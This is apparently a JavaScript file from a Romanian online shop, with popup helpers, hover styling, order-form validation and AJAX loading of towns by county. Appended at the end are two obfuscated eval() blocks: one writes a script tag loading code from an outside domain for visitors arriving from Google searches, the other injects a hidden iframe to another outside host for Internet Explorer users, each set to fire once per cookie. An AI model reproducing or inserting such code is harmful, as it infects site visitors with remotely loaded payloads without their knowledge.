//opens a new popup window containing the page from parameter "url":
var newWin;
function OpenWin(url,title,w,h){
	w=parseInt(w);
	h=parseInt(h);
	if (!mac) if (new String(newWin)!="undefined" && newWin!=null) if (!newWin.closed) newWin.close();
	newWin=window.open(url,title,"width="+w+",height="+h+",top=0,left=0,location=no,directories=no,hotkeys=no,copyhistory=no,resizable=yes,menubar=no,status=no,toolbar=no,scrollbars=yes,z-lock=yes");
	//if (mac) win.resizeTo(w+25,h+50);
	newWin.focus();
}

//opens a new popup window containing the image from parameter:
var newWinImg;
function OpenImage(imgFile, title)
{
	if (new String(newWinImg)!="undefined" && newWinImg!=null) if (!newWinImg.closed) newWinImg.close();
	var newWinImg = window.open('','_blank','width=100,height=100,top=0,left=0,location=no,directories=no,hotkeys=no,copyhistory=no,resizable=no,menubar=no,status=no,toolbar=no,scrollbars=no,z-lock=yes');
	newWinImg.document.write('<html><head><title>' + title + '</title></head><body marginwidth="0" marginheight="0" leftmargin="0" topmargin="0" bgcolor="#ffffff" onload="window.resizeTo(parseInt(document.images[\'img\'].width)+10,parseInt(document.images[\'img\'].height)+29)"><a href="#" onclick="window.close();"><img src="' + imgFile + '" name="img" /></a></body></html>');
	newWinImg.document.close();
	newWinImg.focus();
}

function setActivePage(menuID)
{
	document.getElementById("bg"+menuID).style.backgroundColor="#df0024";
	document.getElementById("m"+menuID).style.backgroundColor="#df0024";
	
	if(screen.width<=1024 && ns && menuID==1) 
		document.getElementById("FootBot").style.bottom="-70px";
	if(screen.width<=1024 && ns && menuID==2) 
		document.getElementById("FootBot").style.bottom="-70px";
	if(screen.width<=1024 && ns && menuID==3) 
		document.getElementById("FootBot").style.bottom="-120px";
		
	if(screen.width>=1280 && ns && menuID==1) 
		document.getElementById("FootBot").style.bottom="0px";
}

//new functions

function changeFieldBg(id, color)
{
	document.getElementById(id).style.backgroundColor = color;
}

function selectFieldBg(id)
{
	document.getElementById(id).style.backgroundColor = "#FFD4FF";
}

function unselectFieldBg(id)
{
	document.getElementById(id).style.backgroundColor = "#FFFFFF";
}

function productHover(id)
{
	var tmpColor = "#6f66f6";//"#e600d0"; 
	document.getElementById("ttlBody_" + id).style.backgroundColor = tmpColor;
	document.getElementById("prodBody_" + id).style.borderColor = tmpColor;
	document.getElementById("prodTtl_" + id).style.color = "#000000";
}

function productOut(id)
{
	var tmpColor = "#e6e6e6"; 
	document.getElementById("ttlBody_" + id).style.backgroundColor = tmpColor;
	document.getElementById("prodBody_" + id).style.borderColor = tmpColor;
	document.getElementById("prodTtl_" + id).style.color = "#696969";
}

function validateFrmComanda(form)
{
	var errorDiv = document.getElementById("orderError");
	var errors = false;
	var strErr = "";
	
	
	if (form.elements['name']) {
        field = form.elements['name'];
        if (field.value != null && (field.value == "" || field.value.replace(/^\s+|\s+$/g,"").length == 0)) {
        	strErr += "Introdu numele t&#259;u.";
            errors = true;
        }
    } 
	
	if (form.elements['txtEmail']) {
        field = form.elements['txtEmail'];
        if (field.value != null && (field.value == "" || field.value.replace(/^\s+|\s+$/g,"").length == 0)) {
        	strErr += "<br />Introdu adresa de e-mail.";
            errors = true;
        }
    }
	
	if (form.elements['txtEmail']) {
        field = form.elements['txtEmail'];
        if (field.value != null && field.value.length > 0 && field.value.match(/\b(^[_A-Za-z0-9-]+(\.[_A-Za-z0-9-]+)*@([A-Za-z0-9-])+(\.[A-Za-z0-9-]+)*((\.[A-Za-z0-9]{2,})|(\.[A-Za-z0-9]{2,}\.[A-Za-z0-9]{2,}))$)\b/gi)==null) {
        	strErr += "<br />Introdu o adres&#259; de e-mail valid&#259;.";
            errors = true;
        }
    }
	
	if (form.elements['telMob']) {
        field = form.elements['telMob'];
        if (field.value != null && (field.value == "" || field.value.replace(/^\s+|\s+$/g,"").length == 0)) {
        	strErr += "<br />Introdu num&#259;rul de telefon mobil.";
            errors = true;
        }
    }
	
	if (form.elements['telMob']) {
        field = form.elements['telMob'];
        if (field.value != null && ( (field.value != "" && field.value.length < 10) || (field.value.length > 0 && !field.value.match(/^[0][0-9]*/))) ) {
        	strErr += "<br />Introdu un num&#259;r de telefon mobil valid.";
            errors = true;
        }
    }
	
	if (form.elements['txtStrada']) {
        field = form.elements['txtStrada'];
        if (field.value != null && (field.value == "" || field.value.replace(/^\s+|\s+$/g,"").length == 0)) {
        	strErr += "<br />Introdu numele str&#259;zii.";
            errors = true;
        }
    }
	
	if (form.elements['txtNumar']) {
        field = form.elements['txtNumar'];
        if (field.value != null && (field.value == "" || field.value.replace(/^\s+|\s+$/g,"").length == 0)) {
        	strErr += "<br />Introdu num&#259;rul str&#259;zii.";
            errors = true;
        }
    }
	
	if (form.elements['txtNumar']) {
        field = form.elements['txtNumar'];
        if (field.value != null && ( field.value.length > 0 && field.value.match(/[a-zA-Z0-9]*/) == "" ) ) {
        	strErr += "<br />Introdu un num&#259;r de strad&#259; valid.";
            errors = true;
        }
    }
	
	/*
	if (form.elements['txtCod']) {
        field = form.elements['txtCod'];
        if (field.value != null && (field.value == "" || field.value.replace(/^\s+|\s+$/g,"").length == 0)) {
        	strErr += "<br />Introdu codul po&#351;tal.";
            errors = true;
        }
    }*/
	
	if (form.elements['txtCod']) {
        field = form.elements['txtCod'];
        if (field.value != null && ( field.value.length > 0 && field.value.match(/[0-9]*/) == "" ) ) {
        	strErr += "<br />Introdu un cod po&#351;tal valid.";
            errors = true;
        }
    }
	
	if (form.elements['selJud']) {
        field = form.elements['selJud'];
        if (field.value != null && field.value == "Alege") {
        	strErr += "<br />Alege jude&#355;ul.";
            errors = true;
        }
    }
	
	if (form.elements['selJud'] && form.elements['selLoc'] && form.elements['txtAltaLoc']) 
	{
		if(form.elements['selJud'].value != "Bucuresti")
		{
	        field = form.elements['selLoc'];
	        field2 = form.elements['txtAltaLoc'];
	        if (field.value != null && field.value == "Alege" && field2.value != null && (field2.value == "" || field2.value.replace(/^\s+|\s+$/g,"").length == 0) ) {
	        	strErr += "<br />Alege o localitate sau introdu numele localitatii.";
	            errors = true;
	        }
		}
    }
	
	if (form.elements['deliver']) {
        field = form.elements['deliver'];
        if ( !field[0].checked && !field[1].checked) {
        	strErr += "<br />Alege modul de livrare.";
            errors = true;
        }
    }

	if(errors) 
	{
		document.getElementById("errContent").innerHTML = strErr;
		errorDiv.style.display = "block";
	}

	return !errors;
}

function enableComand(obj)
{
	document.getElementById("orderBtn").disabled = !obj.checked;
}

//selecteaza localitatile pt un judet
var xmlhttp;

function showState(str)
{
	if(str == "Bucuresti")
	{
		var selLocalitate = document.getElementById("selLoc"); 
		selLocalitate.disabled = true;
		selLocalitate.options.length = 0;
		selLocalitate.options[0] = new Option("Alege...", "Alege", true, false);
		
		document.getElementById("txtAltaLoc").disabled = true;
		document.getElementById("txtAltaLoc").value = "";
	}
	else
	{
		document.getElementById("selLoc").disabled = false;
		document.getElementById("txtAltaLoc").disabled = false;
		xmlhttp=GetXmlHttpObject();
		if (xmlhttp==null)
		  {
			  alert ("Browser does not support HTTP Request");
			  return;
		  }
		var url = "arata_localitati.php";
		url = url+"?judet="+str;
		xmlhttp.onreadystatechange = stateChanged;
		xmlhttp.open("GET", url, true);
		xmlhttp.send(null);
	}
}

function showAltaLoc(str)
{
	if(str != "Alege")
	{
		document.getElementById("txtAltaLoc").disabled = true;
		document.getElementById("txtAltaLoc").value = "";
	}
	else
	{
		document.getElementById("txtAltaLoc").disabled = false;
	}
}

function stateChanged()
{
	if (xmlhttp.readyState == 4)
	{
		var form = document.getElementById("frm_comanda");
		var localitati = form.elements['selLoc'];
		var response = xmlhttp.responseText;
		
		localitati.options.length = 0;
		var arrLoc = new Array();
		arrLoc = response.split("*");

		localitati.options[0] = new Option("Alege...", "Alege", true, false);
		for (i=0; i<arrLoc.length; i++)
		{
			localitati.options[localitati.options.length]=new Option(arrLoc[i], arrLoc[i], false, false);
		}
	}
}

function GetXmlHttpObject()
{
	if (window.XMLHttpRequest)
	  {
		  // code for IE7+, Firefox, Chrome, Opera, Safari
		  return new XMLHttpRequest();
	  }
	if (window.ActiveXObject)
	  {
		  // code for IE6, IE5
		  return new ActiveXObject("Microsoft.XMLHTTP");
	  }
	return null;
}

//-->
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

